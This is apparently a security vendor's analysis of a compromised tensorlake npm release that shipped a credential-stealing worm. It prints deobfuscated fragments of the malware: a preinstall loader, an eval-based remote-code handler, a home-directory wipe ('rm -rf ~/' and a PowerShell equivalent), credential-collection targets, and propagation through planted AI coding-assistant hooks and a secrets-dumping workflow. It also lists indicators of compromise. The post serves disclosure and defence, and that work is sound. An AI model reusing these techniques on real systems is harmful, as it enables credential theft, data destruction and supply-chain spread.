tensorlake 0.5.144 npm Compromise Ships Mini Shai-Hulud

• • 5 min read

We found a credential-stealing worm in [email protected]. It runs on install, and npm was serving it as latest for a package with about 106,000 monthly downloads.

npm records the publish at 01:12:07 UTC. SafeDep’s automated analysis flagged it at 01:20 UTC (6:50 AM IST), eight minutes later.

SafeDep automated monitoring alert for tensorlake@0.5.144. The alert lists the new preinstall hook,
the Bun download, the Math_Symbol.js worm and its build tag, credential theft, the C2
domain and Ethereum contract, gh-token-monitor persistence, the injected workflow and hooks, and
the setup.mjs SHA-256 hash.

The payload is a new build of Mini Shai-Hulud, the 2026 wave of the Shai-Hulud worm family. It is the same worm as in the keyv and cacheable compromise.

  • Steals cloud, GitHub, npm, SSH, browser, and wallet credentials.
  • Spreads through npm packages and GitHub repositories.
  • Runs remote code from its command-and-control (C2) server.
  • Deletes the home directory on some machines when someone revokes the stolen GitHub token.

npm removed the version. The maintainers reverted the source in pull request #1016 and released 0.5.145.

What is new in this build

  • A hard-coded C2 domain, iseekaigogo[.]com.
  • A new Ethereum contract for C2 domain lookup.
  • A browser password stealer.
  • A remote code channel that runs C2 responses with eval.
  • A known deletion handler, rm -rf ~/. The keyv analysis could not name it.

How the payload reached npm

The attacker did not need an npm token. They used a repository administrator account to commit the payload to main through the GitHub web interface. Then they ran the project’s own release workflow.

Time, 2026-10-07 UTCCommitChange
01:20:15e90c47bbAdds typescript/lib/setup.mjs and typescript/lib/Math_Symbol.js
01:24:19c79bc475Adds the preinstall script
01:43:23ad5cf5a7Repairs the package.json syntax
02:13 to 03:44066b9d75, 936302da, 2ca2a7f1, 41b38f09Four revisions of the loader and one payload rebuild
03:57:54e65ed94aSets the version to 0.5.144

GitHub signs web interface commits, so all eight show as verified. The first preinstall edit broke the JSON:

typescript/package.json @ c79bc475
     "lint": "eslint src/ tests/",
     "prepack": "npm run build"
+    "preinstall": "node lib/setup.mjs"
   },
DIFF 5 lines

The fix came 19 minutes later. This suggests a person who edited files in a browser (inference).

On 8 October at 00:08 UTC, the account started publish_npm.yaml by hand. The build log shows the payload files in the tarball:

Publish to npm job, run 37706134202
npm notice 856.5kB lib/Math_Symbol.js
npm notice 4.1kB lib/runtime.cjs
npm notice 32.6kB lib/setup.mjs
npm notice shasum: 843a898ab72793568d77c53ff9282e6ce7c66aea
npm notice Publishing to https://registry.npmjs.org/ with tag latest and public access
TEXT 6 lines
  • The release used npm trusted publishing.
  • The sibling tensorlake-native-*@0.5.144 packages carry valid SLSA provenance for this run. The provenance is valid for a build of poisoned source.
  • The preinstall hook ran in this job and ended in 0.1 seconds. The loader skips CI, so the payload probably did not run on the runner (inference).

The loader

The shipped lib/setup.mjs uses RC4 string obfuscation. The worm carries a plain copy of it, which it plants in other packages and repositories:

Embedded loader in lib/Math_Symbol.js, decrypted
const V = '1.3.13';
const E = 'Math_Symbol.js';

/** Maintainer CI (GHA/GitLab/…) must not run stage2 — blocks `npm ci` for entire release matrix. */
function skipInstallHook() {
  const ci = process.env.CI;
  if (ci === 'true' || ci === '1') return true;
  if (process.env.GITHUB_ACTIONS === 'true') return true;
  if (process.env.GITLAB_CI === 'true') return true;
  if (process.env.RUNNER_ENVIRONMENT === 'github-hosted') return true;
  return false;
}
// ...
const u = `https://github.com/oven-sh/bun/releases/download/bun-v${V}/${a}.zip`;
JS 15 lines
  • It downloads Bun 1.3.13 from the official GitHub release.
  • It runs Math_Symbol.js with Bun.
  • It exits on CI runners.

The shipped setup.mjs decodes to the same strings.

The payload

lib/Math_Symbol.js is 856,501 bytes. Its first line names the build:

lib/Math_Symbol.js, first line
globalThis.WORMTAG = 'tensrlake';
JS 2 lines

Three layers hide the code:

  • An obfuscator string array hides identifiers.
  • A custom cipher hides configuration strings. It uses salt svksjrhjkcejg, the same as keyv.
  • AES-256-GCM hides eleven embedded files, including scripts, hooks, and two RSA public keys.

All layers decode without running the sample. An earlier 849,332-byte build in the commit history has the same configuration.

Command and control

Snippets below are deobfuscated and keep the original identifiers.

lib/Math_Symbol.js, C2 configuration (deobfuscated)
((_0x42f92a = 'router'), (_0x41631a = 0x1bb), (_0x41767b = 'iseekaigogo.com'));
JS 2 lines

The worm posts data to hxxps://iseekaigogo[.]com:443/router. If that fails, it tries:

  1. Ethereum. It reads contract 0xb614155Fd88114d40549b259457Bcf921Df091B9 through 35 public RPC endpoints. On 8 October the contract returned iseekaigogo.com.
  2. Signed GitHub commits. It searches for thebeautifulmarchoftime and trusts only commits signed with an embedded RSA key.
  3. Dead-drop repositories. It commits encrypted data to new public repositories with the description Shai-Hulud: Here We Go Again.

Every C2 response can carry code. The worm runs it:

lib/Math_Symbol.js, applyRemoteCode (deobfuscated)
["applyRemoteCode"](_0x3cb209) {
  let _0x5b9a01;
  try { _0x5b9a01 = JSON["parse"](_0x3cb209); } catch { return; }
  if (typeof _0x5b9a01["code"] !== "string" || _0x5b9a01["code"]["length"] === 0x0) return;
  try { eval(_0x5b9a01["code"]); } catch (_0x1b02b9) { ... }
}
JS 7 lines

After exfiltration, the worm pings the C2 every 45 to 90 seconds and runs any code it gets back.

What it collects

CollectorTargets
File systemSSH keys, cloud CLI files, .npmrc, .env, Docker and Kubernetes files, ~/.claude.json, ~/.kiro/settings/mcp.json, shell history
Walletswallet.dat files, Exodus, Electrum, Ledger Live, and browser wallet extensions such as MetaMask and Phantom
Browser passwordsA binary from hxxps://iseekaigogo[.]com/hbd/<platform>
AWSSTS, SSM Parameter Store, and Secrets Manager
GitHub ActionsSecrets read from Runner.Worker process memory
Kubernetes, VaultService-account tokens and Vault tokens

The browser binary runs as dump -b all -c password -f json. These arguments match HackBrowserData (inference, the binary was not recovered). The worm exits on Russian locales.

The deletion watcher

The watcher arms only for stolen tokens whose account has no organizations:

lib/Math_Symbol.js, organization check (deobfuscated)
if ((_0x392a9f['ok'] ? await _0x392a9f['json']() : [])['length'] === 0x0)
  (_0x990158['log']('No orgs - handling.'), _0x361712['setIncludeToken'](!0x0));
JS 3 lines
lib/Math_Symbol.js, deletion handler (deobfuscated)
let _0x43c4c7 = process["platform"] === "win32" ? "Remove-Item -LiteralPath $env:USERPROFILE -Recurse -Force" : "rm -rf ~/";
(await this["installTokenMonitor"](this["token"], _0x43c4c7), ...);
JS 3 lines
  • gh-token-monitor checks the token every 60 seconds for 24 hours.
  • If GitHub returns 40x, for example after revocation, it deletes the home directory.
  • It runs as a systemd user service, a macOS LaunchAgent, or a Windows scheduled task.

Remove gh-token-monitor before you revoke GitHub tokens.

Propagation

  • npm tokens. It adds the payload and preinstall to every package the token can publish, bumps the patch version, and publishes.
  • npm trusted publishing. In CI, it adds a git dependency and signs the package with Fulcio and Rekor.
  • GitHub tokens. It commits Claude Code and VS Code hooks as author claude. It also plants a Run Copilot workflow that dumps all repository secrets, then deletes the run and branch.

The hook files and workflow match the keyv post. See also configuration files that run code.

Two bugs in the code may limit spread:

  • The npm path needs ./dist/Math_Symbol.js on disk and stops without it.
  • The planted loader looks for ai_init.js, but the worm writes math_init.js.

Indicators of compromise

TypeValue
Package[email protected], removed from npm
Tarball SHA-1843a898ab72793568d77c53ff9282e6ce7c66aea
lib/setup.mjs, 32,645 bytes25a0735d0db7dc40e5d45ce42d9c106067e6a66e184d967cfecfab17c3bcb5ef
lib/Math_Symbol.js, 856,501 bytesb50a00900399ba99fb6ce1fc151519cb99d44320ef2a631f2237e1aea0ad6fec
Earlier payload build, 849,332 bytes03aa53f01b5b0fc4899c44041da90d7c5aa29fd90e4d99a5b70270f672ee43e1
Build tagWORMTAG='tensrlake'
C2 domainiseekaigogo[.]com, paths /router and /hbd/
Ethereum contract0xb614155Fd88114d40549b259457Bcf921Df091B9, selector 0x53ed5143
Fallback search stringthebeautifulmarchoftime
Source commitse90c47bb through 6386121c in tensorlakeai/tensorlake
Persistencegh-token-monitor.service, com.user.gh-token-monitor, scheduled task gh-token-monitor
Persistence files~/.local/bin/gh-token-monitor.sh, ~/.config/gh-token-monitor/, %LOCALAPPDATA%\gh-token-monitor\monitor.ps1
Lock filetmp.ts018051808.lock in the temporary directory
Dead-drop descriptionShai-Hulud: Here We Go Again
Planted branchdependabot/github_actions/format/setup-formatter

References

  • malware
  • npm
  • supply-chain
  • account-compromise
  • config-files

Author

Kunal Singh

Kunal Singh

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

Background
SafeDep Logo

Ship Code.

Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.